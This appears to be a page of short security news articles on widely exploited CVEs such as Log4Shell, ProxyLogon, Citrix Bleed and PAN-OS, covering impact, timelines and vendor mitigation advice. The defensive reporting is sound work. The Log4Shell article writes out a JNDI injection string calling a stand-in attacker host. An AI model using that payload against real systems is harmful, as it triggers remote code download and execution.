0dayNews

GitLab's ExifTool RCE: A Patch That Sat Unrecognized for Months

0day News Desk — Mon, 06 Jul 2026 13:00:00 GMT

A patch existing and a patch being applied are two different things — and the gap between them is exactly what made CVE-2021-22205 dangerous months after GitLab had already fixed it.

What the vulnerability does

The flaw is a remote-code-execution vulnerability in GitLab Community Edition and Enterprise Edition, in how the platform handles certain uploaded image files. A crafted image, processed through a vulnerable version of the bundled ExifTool metadata-parsing library, could trigger arbitrary code execution on the GitLab server — reachable by any unauthenticated user able to reach an image-upload endpoint, no login required.

Why the timeline matters

GitLab originally patched the underlying issue in April 2021. But the security community's initial understanding of the bug's severity didn't match reality: the original patch notes didn't clearly convey that this was full pre-authentication remote code execution, and the vulnerability didn't attract the urgent, wide-scale patching response a bug of that severity should have. It took researchers re-analyzing the fix months later, in late 2021, to demonstrate the complete unauthenticated exploitation path publicly — and once that happened, exploitation moved fast.

Why it mattered

GitLab instances host an organization's source code repositories, CI/CD pipeline configuration, and frequently embedded deployment secrets and API credentials — a compromise here rarely stays contained to "just" the Git server. Once public proof-of-concept exploit code circulated in late 2021, mass scanning of internet-exposed GitLab instances began, with attackers using compromised servers for cryptomining and, in some cases, further network pivoting using credentials found in repositories.

What administrators should do

CISA added the CVE to its KEV catalog in late 2021, months after GitLab's original patch, once active mass exploitation was confirmed — a useful case study in why patch availability and patch adoption need to be tracked separately, and why security teams should treat "patched months ago" as no guarantee that every instance actually got the update. Organizations still running unpatched GitLab versions were urged to update immediately and to review logs for signs of prior exploitation. Full technical detail and patch guidance are in GitLab's security release notes and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

Barracuda Told Customers to Replace Their Appliances, Not Just Patch Them. Here's Why.

0day News Desk — Sun, 05 Jul 2026 15:30:00 GMT

Most vulnerability disclosures end with "apply the patch." CVE-2023-2868 ended with something far more unusual: Barracuda telling a subset of customers to physically replace their appliances, because a software patch alone wouldn't remove what attackers had already planted.

What the vulnerability does

The flaw is a remote command-injection vulnerability in Barracuda Networks' Email Security Gateway (ESG) appliances, rooted in incomplete input validation in a module responsible for screening email attachments. Barracuda disclosed the issue on May 23, 2023 — but the investigation that followed the disclosure revealed something more troubling: the vulnerability had been actively exploited as a zero-day since at least October 2022, roughly seven months of undetected exploitation against a subset of ESG appliances before anyone noticed.

Why patching wasn't enough

This is the detail that sets CVE-2023-2868 apart from most perimeter-device CVEs. The attackers who exploited the flaw during that seven-month window didn't just gain temporary access — they deployed custom malware built specifically for persistence and ongoing data exfiltration. Barracuda's forensic investigation found that on some compromised appliances, that malware persisted even after the software patch was applied, because the patch fixed the injection vulnerability but didn't remove an implant that had already established its own foothold on the device.

That finding drove Barracuda's unusual remediation call: rather than trust a software fix to fully clean a potentially compromised unit, the company told affected customers to physically replace compromised ESG appliances outright — a step rarely recommended outside of firmware-level implant scenarios, and a signal of how seriously Barracuda treated the risk of residual access.

Who was behind it

CISA and threat intelligence researchers linked the campaign to a China-nexus espionage actor, and the targeting pattern reinforced that assessment: a relatively small, apparently selective number of government and high-value organizational targets, rather than the indiscriminate mass-scanning pattern typical of most KEV-catalog perimeter-device bugs.

What administrators should do

Organizations running affected ESG appliances were directed to Barracuda's investigation findings to determine compromise status and, where indicators of compromise were present, to replace the physical appliance rather than rely on the patch alone. Full detail on the incident and remediation guidance is in Barracuda's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

The WinRAR Bug That Hid a Malicious Script Behind a Fake Photo

0day News Desk — Sun, 05 Jul 2026 13:00:00 GMT

WinRAR sits on hundreds of millions of Windows machines, many with automatic update prompts routinely clicked away — exactly the slow-patching install base CVE-2023-38831 was suited to exploit.

What the vulnerability does

The flaw involves how WinRAR handles a specific kind of crafted archive: one built so that a decoy folder shares a name with what appears to be a harmless file inside — a .jpg, for instance. When a user double-clicked the seemingly innocuous file in WinRAR's preview to view it, the naming trick caused a hidden malicious script to execute instead of the expected image viewer opening the photo. RARLAB shipped a fix in WinRAR 6.23, released August 2, 2023, with the vulnerability formally disclosed and cataloged on August 23, 2023.

Why it mattered

Security researchers found evidence that this technique was already being used in the wild — in campaigns targeting cryptocurrency and stock-trading forums — before the technical details were widely publicized, with malicious archives disguised as trading tools, account statements, or investment documents distributed to forum users. WinRAR's massive, slow-to-update install base (the application has no built-in auto-update mechanism by default) made it an attractive, durable vector: a single crafted archive could remain effective against unpatched installs for a long time after the fix shipped.

What administrators should do

Because WinRAR doesn't auto-update, the core remediation guidance emphasized manual action: users and administrators need to actively download and install version 6.23 or later rather than wait for a prompt. CISA added the CVE to its KEV catalog given confirmed active exploitation. Organizations distributing WinRAR internally via software management tools were advised to push the update explicitly rather than rely on end users to do so. Full technical detail is in RARLAB's release notes and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

vCenter's Unrestricted-Upload Bug: A Reminder That Management Planes Shouldn't Face the Internet

0day News Desk — Sat, 04 Jul 2026 15:30:00 GMT

VMware has said for years that vCenter Server should never be directly reachable from the internet. CVE-2021-21972 showed how many organizations ignored that guidance — and what it cost them when a maximum-impact bug arrived.

What the vulnerability does

The flaw sits in a plugin exposed through the vSphere Client (HTML5), part of vCenter Server's management interface. Any unauthenticated attacker with network access to vCenter's HTTPS port could upload a specially crafted file and use it to execute arbitrary commands with unrestricted privileges — effectively root or SYSTEM-equivalent access to the underlying host operating system. VMware disclosed the flaw on February 23, 2021, with a CVSS score of 9.8, reflecting both the lack of any access requirement and the severity of the resulting compromise.

Why it mattered

vCenter Server is the central management plane for VMware vSphere virtualization environments — the console that controls every virtual machine, physical host, and datastore in the environment it manages. A vCenter compromise isn't contained to one system; it's a path to control over an organization's entire virtualized infrastructure. Within days of VMware's advisory, researchers published working exploit code, and internet-wide scanning found tens of thousands of vCenter instances directly reachable from the public internet — a configuration VMware had explicitly warned against in its own deployment documentation for years. Mass exploitation and opportunistic scanning followed almost immediately once exploit code was public.

What administrators should do

VMware's guidance was direct: patch immediately, and at minimum ensure the vCenter management interface is isolated from the internet on an internal, access-controlled network — not exposed directly, regardless of patch status. The vulnerability was added to CISA's KEV catalog. Full technical detail and patch availability are in VMware's security advisory (VMSA-2021-0002) and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

Spring4Shell: Why This One Needed Careful Triage, Not Panic

0day News Desk — Sat, 04 Jul 2026 13:00:00 GMT

The name was almost designed to cause panic: "Spring4Shell," disclosed barely four months after Log4Shell, in a framework nearly as widely deployed. CVE-2022-22965 turned out to be serious — but not universally exploitable in the way its namesake suggested, and the distinction mattered for how security teams should have responded.

What the vulnerability does

The Spring Framework, the widely used Java application framework stewarded by VMware, contains a data-binding process that — under a specific set of conditions — could be manipulated by a remote attacker to reach the underlying ClassLoader and ultimately write a malicious file to a web-accessible path, achieving remote code execution. VMware confirmed the flaw on March 31, 2022, the same day proof-of-concept exploit details leaked publicly ahead of the official patch, forcing an accelerated release.

The conditions that mattered

Unlike Log4Shell's near-universal applicability, Spring4Shell required a specific combination: JDK 9 or later, Spring MVC or Spring WebFlux, and — critically — deployment as a traditional WAR file on Apache Tomcat rather than the increasingly common embedded-server or Spring Boot executable-JAR deployment model many newer applications use. Applications outside that combination weren't vulnerable to this specific CVE, even though they still used Spring.

Why the distinction mattered

In the first 48 hours, confusion was widespread — some teams treated it as Log4Shell-scale, others dismissed it prematurely. Both reactions carried risk: overreacting wastes scarce incident-response capacity that might be needed elsewhere, while underreacting leaves genuinely vulnerable applications exposed. VMware's advisory functioned as much as risk-triage guidance as a patch notice, spelling out exactly which deployment configurations were affected so security teams could prioritize accurately rather than guess.

What administrators should do

Apply VMware's/Spring's patched framework versions regardless of the specific deployment model, since the underlying data-binding issue was fixed framework-wide — but prioritize incident response and forensic review specifically for applications matching the vulnerable configuration. CISA added the CVE to its KEV catalog following confirmed in-the-wild exploitation. Full technical detail and the complete list of vulnerable configurations are in VMware's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

The Confluence Bug That Went From Zero-Day to Mass Ransomware Precursor in Days

0day News Desk — Fri, 03 Jul 2026 15:30:00 GMT

Documentation platforms rarely make headlines the way perimeter firewalls do — until a bug like CVE-2022-26134 turns one into an unauthenticated remote-code-execution target overnight.

What the vulnerability does

The flaw is an OGNL (Object-Graph Navigation Language) injection vulnerability in Atlassian Confluence Server and Data Center. Specially crafted input reaching a vulnerable endpoint would be evaluated as an OGNL expression rather than treated as inert data — and OGNL expressions in Confluence's context can execute arbitrary code on the underlying server. No authentication was required at any step. Atlassian disclosed the bug on June 2, 2022, after its own security team, working with an incident responder, discovered it was already being exploited as a zero-day.

Why it mattered

Confluence is where an organization's institutional knowledge tends to accumulate — architecture diagrams, internal network documentation, and, not infrequently, credentials or API keys pasted into a wiki page by someone who meant to remove them later. That combination — sensitive documentation plus a foothold into the internal network — makes Confluence a favorite precursor target for ransomware operators, not just an isolated data-exposure risk. Within days of disclosure, mass internet scanning began, with attackers deploying webshells and cryptomining payloads against any Confluence instance left unpatched and internet-exposed.

Atlassian's response

Atlassian shipped emergency patches within roughly 48 hours of public disclosure — an unusually fast turnaround reflecting the severity — and published interim mitigation steps, including a temporary workaround and WAF rule, for organizations that couldn't patch immediately. CISA added the CVE to its KEV catalog.

What administrators should do

Patch to a fixed Confluence version immediately; where immediate patching isn't possible, apply Atlassian's documented interim mitigation and restrict internet exposure of the instance in the meantime. Full technical detail and patch availability are in Atlassian's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

FortiOS Auth Bypass: Why Fortinet Warned Select Customers Before Going Public

0day News Desk — Fri, 03 Jul 2026 13:00:00 GMT

Vendors usually disclose a vulnerability to everyone at once. When Fortinet found evidence CVE-2022-40684 was already being exploited against specific customers, it broke from that pattern — quietly warning a targeted subset before the public advisory went out on October 10, 2022.

What the vulnerability does

The flaw is an authentication bypass affecting the administrative interface of FortiOS, FortiProxy, and FortiSwitchManager. By sending specially crafted requests to the management interface, an unauthenticated remote attacker could perform administrative actions without valid credentials. The most consequential of those actions: adding a new SSH public key to an administrative account, giving the attacker persistent access that would survive a subsequent password reset — since the key, not a password, is what grants access.

Why the private warning mattered

Fortinet's decision to privately notify select customers ahead of the public disclosure reflected genuine urgency: the company had evidence of active, apparently targeted exploitation before the advisory went public, and wanted at-risk customers patched before attackers could act on the now-public technical details. It's an unusual step for a vendor and a signal, in hindsight, of how seriously Fortinet treated the in-the-wild activity.

Why it mattered broadly

FortiGate firewalls and FortiProxy appliances are perimeter devices — the boundary between an organization's internal network and the internet, and often the VPN gateway for remote access as well. A management-plane compromise here is a foothold for deeper intrusion, not just a device-level problem. Because attackers could plant SSH keys for persistence, Fortinet's remediation guidance went further than "apply the patch": administrators were told to audit for unauthorized admin accounts and unrecognized SSH keys on any potentially exposed device, treating exposure as presumed compromise rather than assuming a clean patch fixed everything.

What administrators should do

Apply Fortinet's patched FortiOS/FortiProxy releases, restrict management-interface access to trusted networks, and audit administrative accounts and SSH keys for anything unrecognized — patching alone does not remove a key an attacker already planted. CISA added the CVE to its KEV catalog with an expedited deadline. Full technical detail is in Fortinet's PSIRT advisory (FG-IR-22-377) and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

F5 BIG-IP's Maximum-Severity Auth Bypass: What CVE-2022-1388 Actually Exposed

0day News Desk — Thu, 02 Jul 2026 15:00:00 GMT

An application-delivery controller sits between the internet and every application it fronts — which is exactly why CVE-2022-1388, a maximum-severity flaw in F5's BIG-IP management API, drew mass scanning activity within days of disclosure.

What the vulnerability does

The bug lives in BIG-IP's iControl REST API, the interface administrators use to configure and manage the appliance. By sending specially crafted HTTP requests, an unauthenticated attacker with network access to the management port — or, in some configurations, a self-IP address used for internal traffic — could bypass iControl REST's authentication entirely and execute arbitrary system commands with full administrative effect: creating or deleting files, disabling services, or taking over the appliance outright. F5 disclosed the flaw on May 4, 2022 with a CVSS score of 9.8.

Why it mattered

BIG-IP appliances load-balance and terminate traffic for the applications behind them at large enterprises and service providers — a compromised appliance threatens everything it fronts, not just itself. Within days of F5's advisory, security researchers published working proof-of-concept exploit code, and mass internet scanning for exposed, vulnerable BIG-IP management interfaces began almost immediately. Confirmed exploitation followed within roughly a week, consistent with the pattern seen across most perimeter-appliance CVEs disclosed with public PoCs.

What administrators should do

F5's guidance was direct: patch immediately, and in the meantime restrict network access to the management interface and self-IP addresses to trusted internal networks only — a baseline configuration recommendation that, notably, many affected organizations had not enforced, which is part of why exposure was so widespread. CISA added the CVE to its KEV catalog with an expedited remediation deadline for federal systems. Full technical detail and patch availability are in F5's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

Follina Explained: The MSDT Bug That Skipped the Macro Warning Entirely

0day News Desk — Thu, 02 Jul 2026 13:00:00 GMT

CVE-2022-30190 — known widely by the nickname "Follina" — followed a familiar 2021-2022 pattern almost exactly: a document-based zero-day that bypassed the macro-security defenses organizations had spent years building, exploited in the wild before anyone outside the attacker's circle knew it existed.

What the vulnerability does

The bug sits in the Windows Support Diagnostic Tool (MSDT), a legitimate Windows troubleshooting utility. A Word document referencing a remote HTML template could invoke the ms-msdt: URI protocol handler, using it to run arbitrary PowerShell commands — triggered simply by opening the document, and in certain Office configurations even by the document preview pane, without the user clicking anything further.

How it was discovered

Independent researchers first drew widespread public attention to the technique on May 27, 2022, after spotting a malicious Word document in the wild that used it — a sample apparently already being used operationally before the security research community identified the pattern. Microsoft confirmed and formally disclosed the vulnerability on May 30, 2022, along with confirmation of active exploitation.

Why it mattered

Like CVE-2021-40444 the year before, Follina's exploitation path didn't require macros — meaning years of "disable macros from the internet" security awareness training didn't protect against it. The technique was fast to weaponize and easy to replicate once public, and was adopted broadly by both espionage-motivated and financially motivated threat actors within days of the initial public report, well before Microsoft's official patch shipped in its June 2022 Patch Tuesday release.

What administrators should do

Microsoft's interim guidance — disabling the MSDT URL protocol handler via a documented registry change — was published before the full patch and gave defenders an emergency stopgap. CISA added the CVE to its KEV catalog. Full technical detail and remediation guidance are in Microsoft's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

The MSHTML Zero-Day That Turned a Word Document Into Full Code Execution

0day News Desk — Wed, 01 Jul 2026 15:30:00 GMT

For years, "don't enable macros in an email attachment" was the single most repeated piece of security advice for Office document phishing. CVE-2021-40444 didn't need macros at all.

What the vulnerability does

The flaw lives in MSHTML, the legacy Trident browser-rendering engine that Windows and certain Office components still rely on for specific document-rendering tasks. Microsoft disclosed the bug on September 7, 2021, confirming it was already being exploited in the wild as a zero-day. The attack technique: a malicious Word document referencing a remote HTML template that loaded a specially crafted ActiveX control, achieving remote code execution the moment the document was opened — no macro prompt, no additional user interaction beyond normal document handling in many default configurations.

Why it mattered

The macro-blocking defenses many organizations had spent years deploying — disabling macros from internet-sourced documents by default, training users to recognize the "Enable Content" prompt as a red flag — didn't apply here, because the exploit chain never touched macros. That made it an attractive vector for phishing campaigns during the roughly two-week window between public disclosure and Microsoft's full tested patch, a gap threat intelligence researchers observed being used by multiple actors to deliver commodity malware loaders.

Microsoft's interim mitigation

Before the complete patch was ready, Microsoft published a stopgap: disabling ActiveX control installation in Internet Explorer via a registry change, since MSHTML's vulnerable rendering path was shared infrastructure underneath Office's own document handling. Security teams widely adopted the workaround as an emergency measure while waiting for the full fix.

What administrators should do

Apply Microsoft's September 2021 cumulative security updates addressing CVE-2021-40444, and in environments where immediate patching isn't possible, apply the documented registry-based interim mitigation. The vulnerability was added to CISA's KEV catalog given confirmed active exploitation. Full technical detail is in Microsoft's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

ProxyLogon: Inside the Exchange Server Attack Chain That Triggered an FBI Court Order

0day News Desk — Wed, 01 Jul 2026 13:00:00 GMT

Most major exploit chains stay in the realm of "organizations should patch faster." CVE-2021-26855, the first link in the "ProxyLogon" chain against on-premises Microsoft Exchange Server, escalated to something rarer: a court-authorized FBI operation to remove malware from privately owned servers whose administrators hadn't cleaned them up.

What the vulnerability does

On its own, CVE-2021-26855 is a server-side request forgery (SSRF) bug: an unauthenticated attacker could make Exchange send arbitrary HTTP requests and, critically, authenticate to the server as if the request came from Exchange itself. Chained with three additional Exchange vulnerabilities — CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 — that authentication bypass became a path to writing an arbitrary file to disk: a webshell, planted with no authentication required at any step.

The disclosure and immediate fallout

Microsoft disclosed the chain and shipped emergency patches on March 2, 2021, attributing initial, narrow exploitation to a threat group it named Hafnium, focused on espionage against specific organizations. That narrow window didn't last. Within days, exploitation shifted from targeted intrusion to indiscriminate mass scanning: multiple opportunistic threat actors raced to plant webshells on every reachable, unpatched on-premises Exchange server before defenders could patch, expanding the victim count from a targeted set into tens of thousands of organizations worldwide.

Why the FBI got involved

By the time many organizations applied Microsoft's patch, webshells had already been planted — and patching alone doesn't remove a webshell already sitting on disk. A significant number of compromised, internet-facing Exchange servers went unremediated even after the patch was available, their owners apparently unaware they'd already been breached. In April 2021, the U.S. Department of Justice announced the FBI had obtained a court order authorizing agents to remotely access hundreds of vulnerable Exchange servers and remove the specific webshells left by the Hafnium campaign — without notifying the owners in advance, an extraordinary step reflecting the scale of unremediated compromise.

What administrators should do

CISA issued an emergency directive requiring federal agencies to patch or disconnect vulnerable on-premises Exchange servers within days, not weeks — a compressed timeline unusual even for CISA's most urgent bulletins. The core guidance: patch immediately, and separately check for indicators of prior compromise (webshells, unusual mailbox exports) rather than assuming a clean patch means a clean server. Full technical detail on the four-CVE chain and detection guidance is in Microsoft's security response and the NVD entry.

This article describes the attack chain's impact and official detection/mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

PrintNightmare: How a Leaked Proof-of-Concept Forced an Emergency Windows Patch

0day News Desk — Tue, 30 Jun 2026 15:00:00 GMT

Windows' Print Spooler service is one of those pieces of infrastructure most administrators never think about — it runs by default, quietly, on nearly every Windows machine, including domain controllers that print nothing at all. CVE-2021-34527, nicknamed "PrintNightmare," turned that quiet default into an emergency out-of-band patch.

What the vulnerability does

The Print Spooler service supports remote installation of printer drivers, a legitimate feature for centrally managing printers across a network. PrintNightmare abuses that capability: an authenticated attacker — even a low-privileged domain user — could trigger the spooler to install a malicious driver, and the spooler service runs with SYSTEM privileges. On a workstation, that's local privilege escalation. On a domain controller, where the spooler commonly runs by default, that's a path to full domain compromise.

How it came to light

The vulnerability's public disclosure was unusually chaotic. A distinct, related spooler bug (CVE-2021-1675) was already being patched by Microsoft when researchers, apparently believing the two issues were the same and already fixed, briefly published proof-of-concept exploit code for PrintNightmare — which was, in fact, still unpatched. Microsoft issued an emergency out-of-band security advisory on July 1, 2021, days ahead of its normal Patch Tuesday cycle, given that working exploit code was now public.

Why it mattered

The vulnerable functionality was so deeply embedded in how the spooler service worked that Microsoft's initial patch didn't fully close the hole — several follow-on bypasses were reported and patched over subsequent months. That extended uncertainty pushed many security teams toward a more drastic interim step: disabling the Print Spooler service entirely on servers where printing wasn't actually needed, which became Microsoft's own recommended hardening guidance for high-security environments, domain controllers especially.

CISA added the CVE to its Known Exploited Vulnerabilities catalog given confirmed active exploitation, and federal agencies were required to apply mitigations on an accelerated timeline.

What administrators should do

Apply Microsoft's cumulative security updates addressing PrintNightmare and its follow-on bypasses, and where the Print Spooler service isn't required — particularly on domain controllers — disable it rather than rely on patching alone. Full technical detail and guidance are in Microsoft's security advisory and the NVD entry.

This article describes the vulnerability's impact and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

Log4Shell, Explained: Why a Logging Library Became the Internet's Worst Week

0day News Desk — Tue, 30 Jun 2026 13:00:00 GMT

Some vulnerabilities are dangerous because of a coding mistake in one application. CVE-2021-44228 — "Log4Shell" — was dangerous because of a design decision buried inside a dependency almost nobody outside a small circle of Java developers had ever heard of, embedded in an enormous share of the software running the internet.

What the vulnerability does

Apache Log4j2 is a logging library: code that writes application events — errors, requests, debug traces — to a file or console. One of its features, message lookup substitution, let a logged string trigger a JNDI (Java Naming and Directory Interface) lookup. That's normally an obscure convenience feature. The problem: Log4j2 would perform this lookup on any string it logged, including strings supplied directly by a user — a chat message, an HTTP header, a search box entry.

An attacker who could get a string like ${jndi:ldap://attacker.com/a} logged anywhere in a vulnerable application could cause that application to reach out to an attacker-controlled server and load — and execute — malicious Java code. No authentication. No special access. Just a string ending up somewhere in a log file.

Why it spread so fast

Log4j2 isn't usually something developers add directly to their own applications' top-level dependency list — it's typically pulled in transitively, several layers deep, by other libraries and frameworks. That made the first challenge not "patch Log4j" but "figure out everywhere Log4j is running," a nontrivial software-inventory problem most organizations weren't prepared to answer quickly. Public demonstrations, starting with Minecraft's chat-based exploitation within hours of disclosure on December 10, 2021, showed how trivially the bug could be triggered — and mass internet scanning for vulnerable endpoints began almost immediately after.

The scale of the fallout

CISA and international CERT agencies issued emergency directives. The initial Apache patch, Log4j 2.15.0, turned out to be incomplete, and two further related issues (CVE-2021-45046, CVE-2021-45105) required additional point releases before the library was considered fully remediated at 2.17.x. Security teams spent weeks, in some organizations months, on inventory and remediation — a process complicated by the sheer number of vendors who had to identify, patch, and re-ship their own products before customers could even apply an update.

What administrators should do

The core guidance from the Apache Logging Services team and CISA was consistent throughout: upgrade to a patched Log4j2 release (2.17.1 or later for the full remediation), and where immediate upgrade isn't possible, apply documented interim mitigations (disabling the JNDI lookup feature via system property, or removing the vulnerable class from the classpath). Full technical detail, affected version ranges, and patch guidance are in Apache's security advisory and the NVD entry.

This article describes the vulnerability's mechanism and official mitigation guidance only — it does not include exploit code or step-by-step attack instructions.

The Outlook 'MonikerLink' Bug: One Click, Protected View Bypassed

0day News Desk — Sun, 28 Jun 2026 13:00:00 GMT

Most enterprise phishing defenses assume that even if a user clicks something they shouldn't, sandboxing and content protections will limit the damage. CVE-2024-21413 — nicknamed "MonikerLink" by Check Point Research, which discovered and reported it — broke that assumption for Microsoft Outlook with a single click.

How the bug works

Outlook normally opens untrusted file attachments and links inside Protected View, a sandboxed mode that strips out active content and limits what a document can do until the user explicitly trusts it. MonikerLink found a way around that: by crafting a hyperlink using the file:// moniker syntax with a specific exclamation-mark suffix appended, an attacker could cause Outlook to open the referenced file directly, completely bypassing Protected View.

The consequences ranged from remote code execution to, in some configurations, leaking the user's NTLM credential hash to an attacker-controlled server — useful for relay attacks even without full code execution.

Disclosure and patch

Microsoft patched CVE-2024-21413 as part of its February 2024 Patch Tuesday release, assigning it a CVSS score of 9.8. Unlike several other vulnerabilities covered by this desk, Microsoft did not confirm active in-the-wild exploitation at time of disclosure — but security teams treated it as a same-week priority patch regardless, given how trivial the trigger condition was (one click on a link inside an email) and how often Protected-View-bypass techniques get weaponized shortly after public disclosure.

Why it mattered

Outlook remains one of the most widely deployed email clients in enterprise environments, and email is still the dominant initial-access vector for ransomware and business email compromise campaigns. A bug that defeats a core anti-exploitation control with a single click — no macro, no attachment download, just a link — is precisely the kind of flaw that lowers the bar for a successful phishing campaign from "convince someone to enable macros" to "convince someone to click."

Full technical writeup and the patch itself are documented in Microsoft's MSRC advisory and the linked NVD record.

This article describes the vulnerability and its real-world impact only — it does not include exploit code or step-by-step attack instructions.

PAN-OS GlobalProtect Zero-Day Gave Attackers Root on the Firewall Itself

0day News Desk — Sat, 27 Jun 2026 13:00:00 GMT

A firewall is supposed to be the wall. When the wall itself has a remotely exploitable, unauthenticated, root-level code-execution flaw, the entire premise of perimeter defense breaks down — which is exactly the scenario CVE-2024-3400 created for Palo Alto Networks customers in April 2024.

What the flaw allowed

CVE-2024-3400 is a command-injection vulnerability in the GlobalProtect feature of PAN-OS, the operating system running on Palo Alto Networks' next-generation firewalls. On specific PAN-OS versions with a GlobalProtect gateway or portal configured — and device telemetry or session ID re-use enabled — an unauthenticated, remote attacker could execute arbitrary code with root privileges directly on the firewall. It carries the maximum CVSS score of 10.0.

Root code execution on a firewall isn't just "another RCE." It means an attacker controls the very device that's supposed to be inspecting and blocking malicious traffic — with the ability to disable logging, modify rules, pivot into the internal network, and persist across reboots.

Active exploitation before disclosure

Palo Alto Networks and Volexity jointly disclosed the vulnerability on April 12, 2024, confirming it was being exploited in the wild as a zero-day. Volexity attributed the activity to a threat actor it tracks as UTA0218, which deployed a custom Python-based backdoor — dubbed UPSTYLE — on compromised firewalls to maintain access and pull additional tooling onto the device post-compromise.

CVE-2024-3400 was added to CISA's KEV catalog within days of disclosure, with federal agencies required to apply mitigations or patches on an expedited timeline.

The response

Palo Alto Networks moved quickly, publishing both temporary mitigation steps — for customers who could not immediately patch — and hotfixes across the affected PAN-OS version branches. The company also released a tool to help customers determine whether a given firewall showed signs of compromise, since (as with several other zero-days on this tracker) patching alone does not undo an established backdoor on an already-compromised device.

Why it mattered

Perimeter security devices — firewalls, VPN gateways, secure web gateways — have increasingly become the entry point of choice for sophisticated attackers precisely because they're internet-facing by design and historically under-monitored relative to standard endpoints. A root-RCE zero-day in a market-leading firewall product is about as severe an instance of that pattern as exists.

Full advisory detail, affected configurations, and patch guidance are published by Palo Alto Networks and reflected in the NVD record above.

This article describes the vulnerability and its real-world impact only — it does not include exploit code or step-by-step attack instructions.

Inside the Ivanti Connect Secure Zero-Day Chain Attackers Used Before a Patch Existed

0day News Desk — Fri, 26 Jun 2026 13:00:00 GMT

Two vulnerabilities, neither individually catastrophic on paper, became one of the more consequential edge-device exploitation chains of early 2024 when attackers combined them against Ivanti's VPN gateway products.

The two flaws

CVE-2023-46805 is an authentication-bypass vulnerability in the web component of Ivanti Connect Secure and Policy Secure. On its own, it lets an unauthenticated attacker reach restricted application resources — serious, but limited.

CVE-2024-21887 is a command-injection vulnerability in the same product line. On its own, exploiting it requires administrative authentication — a meaningful barrier.

Chained together, the barrier disappears. An attacker uses the authentication bypass to reach the administrative functionality, then uses the command-injection flaw — now reachable without ever logging in — to execute arbitrary commands on the appliance. The combination yields full unauthenticated remote code execution.

Who exploited it, and when

Ivanti and Mandiant disclosed both vulnerabilities on January 10, 2024, but Mandiant's investigation found exploitation had begun well before that date, attributing early activity to a suspected China-nexus espionage actor tracked as UNC5221. The actor deployed custom web shells and credential-harvesting tooling, and in some cases attempted to actively evade Ivanti's own internal integrity checker — the tool customers were told to use to check for compromise.

CISA's emergency directive

The combination of severity, confirmed nation-state exploitation, and the position of VPN gateways directly on the network perimeter prompted CISA to issue an emergency directive requiring federal civilian agencies to disconnect affected Ivanti Connect Secure and Policy Secure appliances from their networks — not just patch them — pending mitigation. Both CVEs were added to the KEV catalog simultaneously.

The broader pattern

Ivanti's edge appliances were the subject of multiple additional vulnerability disclosures throughout 2024, reinforcing a broader trend: VPN gateways, firewalls, and other perimeter devices — designed to be internet-facing by definition — have become a preferred initial-access vector precisely because they sit outside the protections (EDR, internal monitoring) that organizations apply to standard endpoints.

Full chain analysis, affected versions, and Ivanti's remediation timeline are published in Ivanti's security advisory and the linked NVD records for both CVEs.

This article describes the vulnerability chain and its real-world impact only — it does not include exploit code or step-by-step attack instructions.

Citrix Bleed: How a Memory Leak in NetScaler Bypassed MFA Entirely

0day News Desk — Thu, 25 Jun 2026 13:00:00 GMT

Multi-factor authentication is supposed to be the backstop that makes stolen passwords not enough. CVE-2023-4966 — better known by its nickname, Citrix Bleed — demonstrated a category of flaw that skips the password-and-MFA problem entirely: it steals an already-authenticated session.

How the bug works, at a high level

Citrix Bleed is a buffer-overflow vulnerability in Citrix NetScaler ADC and NetScaler Gateway appliances configured as a gateway — VPN virtual server, ICA proxy, CVPN, or RDP proxy — or as an AAA virtual server. Exploiting it lets a remote, unauthenticated attacker retrieve data directly from the device's memory, including valid session tokens belonging to legitimate, already-logged-in users.

Because those tokens represent sessions that have already cleared authentication and MFA, an attacker who captures one can simply present it to the appliance and be treated as that user — no credentials, no second factor, no password reset required. It's session hijacking with the authentication step already completed by someone else.

Exploitation in the wild

Citrix disclosed CVE-2023-4966 on October 10, 2023. Mandiant later reported that exploitation had begun even before the public disclosure, and that ransomware-affiliated actors, including groups linked to LockBit, used the flaw to compromise large enterprises — among the most notable publicly reported victims was a major financial-sector firm whose breach was directly tied to Citrix Bleed exploitation. CVE-2023-4966 was added to CISA's KEV catalog in November 2023.

The patching trap that made this worse

What made Citrix Bleed especially dangerous operationally: patching the appliance alone was not sufficient. Session tokens stolen before the patch was applied remained valid afterward, because the patch fixed the vulnerability going forward but did nothing to invalidate sessions already hijacked. Citrix's guidance — and CISA's — was explicit that administrators needed to kill all active ICA and PCoIP sessions after patching, not just apply the update and move on.

Why it mattered

Citrix Bleed is a clean illustration of why "we have MFA" is not a complete security story. Token-theft and session-hijacking vulnerabilities sidestep authentication controls entirely, and they're increasingly the technique of choice for sophisticated ransomware affiliates who'd rather steal a valid session than guess a password.

Full technical detail, affected build numbers, and remediation steps are published in Citrix's own security bulletin and the NVD record.

This article describes the vulnerability and its real-world impact only — it does not include exploit code or step-by-step attack instructions.

Cisco IOS XE Web UI Zero-Day: How One Bug Compromised Tens of Thousands of Devices

0day News Desk — Wed, 24 Jun 2026 13:00:00 GMT

When Cisco disclosed CVE-2023-20198 on October 16, 2023, it came with an unusual admission: exploitation was already underway, against an unknown but apparently large number of devices, before any patch existed. By the time independent researchers finished scanning the public internet days later, estimates of compromised Cisco IOS XE devices ran into the tens of thousands.

What the vulnerability does

